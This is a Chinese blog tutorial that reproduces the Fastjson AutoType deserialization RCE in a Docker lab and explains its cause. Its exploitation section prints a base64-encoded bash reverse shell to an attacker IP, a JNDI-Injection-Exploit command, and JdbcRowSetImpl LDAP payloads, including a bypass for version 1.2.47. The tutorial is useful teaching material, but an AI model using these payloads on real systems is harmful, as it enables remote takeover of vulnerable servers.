Fastjson反序列化漏洞复现、原理与修复方案

网络安全 潘老师 3周前 (04-17) 24 ℃ (0) 扫码查看

Fastjson作为一款常用的JSON处理类库,做过开发的几乎没人没用过吧,然而,它被爆存在的反序列化漏洞,本文将详细介绍Fastjson反序列化漏洞,涵盖漏洞复现、原理分析以及注意事项等内容。

一、Fastjson漏洞复现

(一)搭建漏洞环境(以1.2.47-rce为例,漏洞编号:CVE-2017-18349)

利用Docker搭建漏洞环境,执行以下命令:

# 开启环境
docker compose up -d
# 查看运行情况
docker ps

上述命令中,docker compose up -d用于启动相关容器来搭建Fastjson漏洞环境,docker ps则用于查看容器的运行状态。当看到对应容器成功启动且端口映射正常,出现类似相关页面时,就表示环境搭建成功。

(二)漏洞特征与检测

  1. 报错回显检测:先将请求方式从GET改为POST,把Content-Type类型设置为application/json,并添加请求体。此时查看返回包,若存在报错信息(不过,开发者可以选择屏蔽这类报错),这便是Fastjson的一个特征表现。例如,以下简化后的请求包:
POST / HTTP/1.1
Host: 192.168.64.10:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 11

{"test":"
  1. DNSlog盲打检测:使用特定的payload进行DNSlog盲打检测,payload如下:
{"xxx":{"@type":"java.net.InetAddress","val":"5eb01a76.log.cdncache.rr.nu."}}

使用时,记得修改请求方式和Content-Type类型。

(三)漏洞利用

这里采用JNDI-Injection-Exploit工具来利用漏洞,该工具可直接生成jndi注入命令。

  1. 反弹shell准备:假设攻击机监听端口为10.201.65.180:9932,先构造反弹shell命令:
bash -i >& /dev/tcp/10.201.65.180/9932 0>&1

将上述命令进行base64编码,得到:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==

最终完整的利用命令为:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}
  1. 使用工具生成payload:利用工具生成payload的命令格式为:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

具体到当前漏洞利用,执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C  " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.201.65.180"

工具执行后会生成多个payload,可依次尝试。例如,完整的payload类似如下:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
        "autoCommit":true
    }
}

执行该payload后,BP(Burp Suite)返回500,但此时若攻击机成功监听并接收到连接,就说明成功反弹shell。

(四)不同版本漏洞差异(以1.2.47-rce,漏洞编号:CNVD‐2019‐22238为例)

该版本环境搭建方式与上述相同。当使用之前的payload再次测试时,会发现目标明确提示autoType被禁用,原攻击链失效。不过,若目标环境是openjdk:8u102,由于该版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,仍可利用RMI进行命令执行。此时的完整payload如下:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
        "autoCommit":true
    }
}

执行该payload后,攻击机同样可以成功监听并获取反弹shell。

二、漏洞原理剖析

(一)JSON与Fastjson基础介绍

  1. JSON概述:JSON是一种轻量级的数据交换格式,全称为JavaScript Object Notation。它采用键值对(key – value)的结构来表示数据,这种结构让人阅读和编写都很方便,同时也便于机器解析和生成。如今,JSON在编程语言间通信的众多场景中广泛应用,比如前后端数据传输、配置文件编写以及接口请求等。像下面这个简单示例:
{
  "name": "Alice",
  "age": 25,
  "isStudent": false,
  "skills": ["Java", "Python", "C++"],
  "address": {
    "city": "Beijing",
    "zip": "100000"
  }
}
  1. Fastjson概述:Fastjson是阿里巴巴开发的一款开源Java类库,主要用于Java对象与JSON之间的转换,即序列化(将Java对象转换为JSON字符串)和反序列化(将JSON字符串转换为Java对象)操作。它能够处理任意Java对象,甚至包括一些没有源码的系统类或第三方类,这一特性虽然强大,但也为安全漏洞埋下了隐患。因其使用简单且性能出色,在实际开发中应用极为广泛。

(二)Fastjson序列化与反序列化机制

  1. 序列化机制:Fastjson没有采用Java原生的序列化机制,而是自定义了基于属性或方法的转换方式。在反序列化时,为了准确还原对象的真实类型,Fastjson引入了AutoType功能。例如,假设有两个类DogCat都实现了Animal接口:
class Dog implements Animal {
    private String name;
    private int age;
}

class Cat implements Animal {
    private String name;
    private int age;
}

若使用基于接口Animal的序列化方式,将DogCat对象序列化为JSON后,可能得到相同的结果,如:

{"Animal":{"name":"Tom","age":2}}

这样在反序列化时,就无法判断对象到底是Dog还是Cat。为解决此问题,Fastjson在序列化时会添加@type字段,如:

{ 
  "animal": { 
    "@type": "com.example.model.Dog", 
    "name": "Tom", 
    "age": 2 
  } 
}
  1. 反序列化漏洞成因:然而,正是Fastjson的AutoType功能给攻击者创造了可乘之机。当用户反序列化不可信的JSON数据,且没有禁用AutoType功能时,攻击者可通过精心构造的JSON数据,利用@type字段指定恶意类,并触发该类的实例化过程。在实例化过程中,Fastjson会调用该类的setter或构造方法,这就可能导致恶意代码执行。Fastjson的漏洞本质上属于典型的Java反序列化问题,其危险性源于类实例化和方法调用的开放性,以及对AutoType的无限制使用。

三、注意事项

  1. 在使用dnslog平台进行检测前,需要先用靶机ping dns地址,以此测试网络连通性。若网络不通,dnslog检测将无法正常进行。
  2. 测试Fastjson漏洞时,要注意请求的格式。最外层应是数组或者对象,且不要直接加@type,而是将Payload作为其中一个键值。例如:
{"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}}

这是因为有些开发在使用Fastjson解析请求时,会借助Spring的@RequestBody注释,指定需要的是一个普通对象(即JSON中不加@type的对象)。如果直接传入{"@type":"java.net.Inet4Address","val":"xxxxx"},相当于给解析引擎传入了java.net.Inet4Address对象,这会导致type not match的异常。
3. 如果靶机是本机,其IP地址可能会变动。在进行漏洞测试和利用时,需要注意IP地址的变化,确保相关操作的准确性。

了解Fastjson反序列化漏洞的复现方法、原理以及注意事项,有助于我们在实际工作中更好地防范此类安全问题。


版权声明:本站文章,如无说明,均为本站原创,转载请注明文章来源。如有侵权,请联系博主删除。
本文链接:https://www.panziye.com/safe/17528.html
喜欢 (0)
请潘老师喝杯Coffee吧!】
分享 (0)
用户头像
发表我的评论
取消评论
表情 贴图 签到 代码

Hi,您需要填写昵称和邮箱!

  • 昵称【必填】
  • 邮箱【必填】
  • 网址【可选】